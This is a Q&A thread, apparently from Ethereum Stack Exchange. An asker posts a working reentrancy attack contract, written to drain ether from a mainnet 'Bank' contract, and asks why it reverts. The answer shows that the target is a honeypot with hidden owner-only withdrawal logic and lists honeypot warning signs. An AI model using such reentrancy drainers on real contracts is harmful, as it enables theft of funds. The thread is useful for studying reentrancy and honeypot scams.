2

I was fullfilling a reentrancy attack on a contract. I tested it in remix VM first and later on with deployed contract on ropsten testnet. Both worked well without any errors. On the mainnet it turned out that the attack transaction always fails.

Here is an example of the Honeypot collecting function:

(contract Bank)

function Collect(uint _amount)
    public
    payable
    {
        var acc = Acc[msg.sender];
        if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
        {
            if(msg.sender.call.value(_amount)())
            {
                acc.balance-=_amount;
                LogFile.AddMessage(msg.sender,_amount,"Collect");
            }
        }
    }

Account object look like this:

(contract Bank)

struct Holder   
    {
        uint unlockTime;
        uint balance;
    }

    mapping (address => Holder) public Acc;

My contract has put 1 ether to its account with this funtion:

(contract Bank)

function Put(uint _unlockTime)
    public
    payable
    {
        var acc = Acc[msg.sender];
        acc.balance += msg.value;
        acc.unlockTime = _unlockTime>now?_unlockTime:now;
        LogFile.AddMessage(msg.sender,msg.value,"Put");
    }

(contract Ripper)

function Put() public payable {
        bank_.Put.value(msg.value)(0);
    }

I am starting the attack with the Collect function, that sends me 1 ether:

(contract Ripper)

// DATASET
Bank private bank_ = Bank(0x...);

function Collect() public {
        bank_.Collect(1 ether);
    }

The Bank contract will send me 1 ether, so its now possible to start the attack with my contracts fallback funtion:

(contract Ripper)

function() payable public {
        if (address(bank_).balance >= msg.value) {
            bank_.Collect(1 ether);
        }
    }

After transaction execution the tx fails with standard error: Warning! Error encountered during contract execution [Reverted] [enter image description here]1

Do you have any clue why its working in Remix VM and on Ropsten testnet, but not on mainnet?

11
  • Looks like you're using a constant address in Bank private bank_ = Bank(0x...);. Have you made sure to use the correct address when executing your transaction on mainnet? Nov 21, 2019 at 13:23
  • Do you have a transaction hash we can examine? Does the contract have a lot of Ether? Ethereum has a recursion limit based on available gas eips.ethereum.org/EIPS/eip-150.
    – Ismael
    Nov 21, 2019 at 14:53
  • thanks for replying @goodvibration yes the address is correct. The transaction tried to interact with the Bank contract.
    – Thurjen
    Nov 21, 2019 at 16:54
  • @Ismael I do not want to post a tx hash bcs of anonymity. The contract has about 8.02 ETH, so after depositing 1 ETH, it should be called 9 times. I tried with exact same amount in bank contract on ropsten
    – Thurjen
    Nov 21, 2019 at 16:58
  • 1
    @sea212 With the assumption that nodes are weakly validating then they will reject malicious transaction before they are mined and accept them if they were mined. In that case your malicious transaction is either never mined or it will be mined successfully. From your screenshot it appears it was mined and failed. Without examining a concrete case we can only speculate what is happening.
    – Ismael
    Nov 22, 2019 at 15:55

1 Answer 1

0

The Log contract deployed on the mainnet does not match the code. It does something completely else. Decompile it using the link in Etherscan and possibly find the following code:

def storage:
  stor0 is array of struct at storage 0
  stor1 is addr at storage 1
  stor2 is array of uint256 at storage 2
  stor3 is uint256 at storage 3
  stor4 is uint256 at storage 4
  stor5 is addr at storage 5
  stor6 is addr at storage 6
  stor7 is addr at storage 7

  # ...

def AddMessage(address _adr, uint256 _val, string _data): # not payable

  # ...

  if caller == stor5:
      if stor7 != _adr:
          if stor6 != tx.origin:
              require 0 < _data.length
              if 'C' == Mask(8, 248, mem[128]):
                  require _val <= 0

This method only succeeds if the caller is the contract owner or if the amount is zero or less (means no withdrawal).

Always pay extreme caution if at least half of the following conditions are met. Don't be the next to learn it the expensive way.

  • It costs significant amount to be able to execute withdrawal method (like 0.1 Ether and more)
  • You found the contract randomly or in Verified Contracts search on Etherscan
  • The contract has buggy compiler version (often 0.4.x)
  • There are hidden internal transactions visible for example using bloxy.info but not on Etherscan (very important for quiz scams)
  • The riddle is otherwise easy or moderate to solve properly
  • Decompiled code does clearly different things than code shown on Etherscan (was this case)
  • Previous movements of ether reveal repeated deployment of similar contracts and even evidence of properly executed but still failed attacks
  • The contract contains some arbitrary functions (LogFile in this case)
  • The contract contains some arbitrary conditions like withdrawal next block only or tx.origin == msg.sender to avoid flash loan attacks

As you can see, even testing in different testnets does not guarantee identical result. Use some mainnet fork tool like ganache-cli to test against live version of the contract. There are many more honeypots utilizing various less or more hidden vulnerabilities pretending to have obvious ones. If this contract was even possible to hack, your transaction is likely to be overtaken by frontrunner bot.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.